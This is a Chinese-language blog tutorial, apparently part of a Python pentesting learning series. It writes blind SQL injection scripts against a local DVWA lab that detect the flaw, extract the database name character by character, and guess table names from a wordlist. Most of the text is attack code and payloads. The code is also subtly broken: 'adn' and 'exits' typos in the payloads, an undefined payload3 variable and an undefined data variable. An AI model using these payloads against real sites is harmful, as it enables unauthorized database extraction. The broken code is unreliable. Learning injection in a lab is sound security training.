学习Python渗透第14天：用python实现sql注入

sql注入这个漏洞一直位于owasp列出的漏洞排行榜的前几位，虽然这个漏洞的使用难度很低，但是破坏力却极其的大。sql注入的原理是将原本的sql语句与用户可控的参数进行了拼接，形成了非预期的sql语句的执行，从而可能造成信息泄露或者如果数据库开启了读写权限，还有可能被写入木马等恶意文件。

接下来我们使用python编写一个sql注入程序，我们先使用bp抓到dvwa的数据包，发现里面有用get提交了两个参数，一个是id ，一个是submit。所以我们先编写好提交的数据。

import requests
url = "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id="
data ={
    "id":"1",
    "Submit":"Submit"
}
r = requests.get(url,params=data)

我们在判断提交了参数之后，是否有响应，可以通过requests.get()函数的返回值来确定，其中包含了，ID，Fir Name，Surname等等，就表明有响应。

def determine(text):
    if 'Surname' in text:
        return 1
    else:
        return 0

如果提交的参数1'and '1'='1的返回值为1，而提交的参数1' and '1'='2的返回值为0，就可以判断这个web应用程序存在sql注入漏洞了。如果不知道其中原理的可以看看sql注入是怎样判断是否有注入点的文章。这里我就不多赘述了。

现在我们可以以此为基础来编写一个测试程序。

import requests
import re
url = "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id="
r = requests.get(url,params=data)

def determine(text):
    if 'Surname' in text:
        return 1
    else:
        return 0
cookies = {"security":"low","PHPSESSID":"0j01203jsdij02ej9sad9"}
payload1 = {
    "id":"1' adn '1' = '1",
    "Submit":"Submit"
}
payload2 = {
    "id":"1' adn '1' = '2",
    "Submit":"Submit"
}

r1 = requests.get(url,params=payload1,cookies=cookies)
r2 = requests.get(url,params=payload2,cookies=cookies)
if determine(r1.text)==1 and determine(r2.text)==0:
    print("存在sql注入漏洞")
else :
    print("不存在sql注入漏洞")

接下来我们分别编写利用sql注入漏洞来获取web应用程序的数据库名称与数据库表的程序。获取数据库名称将会采用逐个字符猜测的方式，而获取数据表名时会使用字典文件的方式。像获取字段名和盗取数据表内容可以参考这两种方式。

首先我们来编写获取数据库名称的程序，分成两个步骤，首先计算数据库名称的长度，测试语句为1' and length(database())=n#，n是我们猜测的数字，这里假设最大为20.

for i in range(20):
    payload = {
        "id":f"1' and length(database())={i}#",
        "Submit":"Submit"
    }
    r3 = requests.get(url,params = payload3,cookies=cookies)
    if determine(r3.text) == 1:
        databasenamelength = i
        break
print("数据库名字的长度为{}".format(databasenamelength))

接下来计算数据库名称的内容，测试语句为1' and ascii(substr(database(),{i+1},1))={j}#,i为数据库名称的长度，j为65至123所有的值

databasename=''
for i in range(databasenamelength):
    for j in range(65,123):
        payload4 ={
            "id":f"1' and ascii(substr(database(),{i+1},1))={j}#",
            "Submit":"Submit"
        }
        r4 = requests.get(url,params=payload4,cookies=cookies)
        if determine(r4.text) == 1:
            databasename +=chr(j)
            break
print("数据库名为：{}".format(databasename))

通过上面的程序，我们拿到数据库名为dvwa,对于表名来说，我们使用另一种更方便的方法，就是使用常用的表名(例如，admin,users,manager,member等名字）去测试，测试语句如下1' and exists(select * from dvwa.{tablename})#

完整程序如下：

with open("sqlinjections.txt",'r',encoding="utf-8") as f:
    for tablename in f:
        payload5 = {
            "id":f"1' and exits(select * from dvwa.{tablename})#",
            "Submit":"Submit"
        }
        r5 = requests.get(url,params=payload5,cookies=cookies)
        if determine(r5.text) == 1:
            print("表名为：{}".format(tablename))

使用相同的方法可以以此得到表的内容和字段的内容，这里就不在继续说明了。

今天的学习分享就到这里了，谢谢大家的观看，如果有什么不对的地方还请大家多多指正。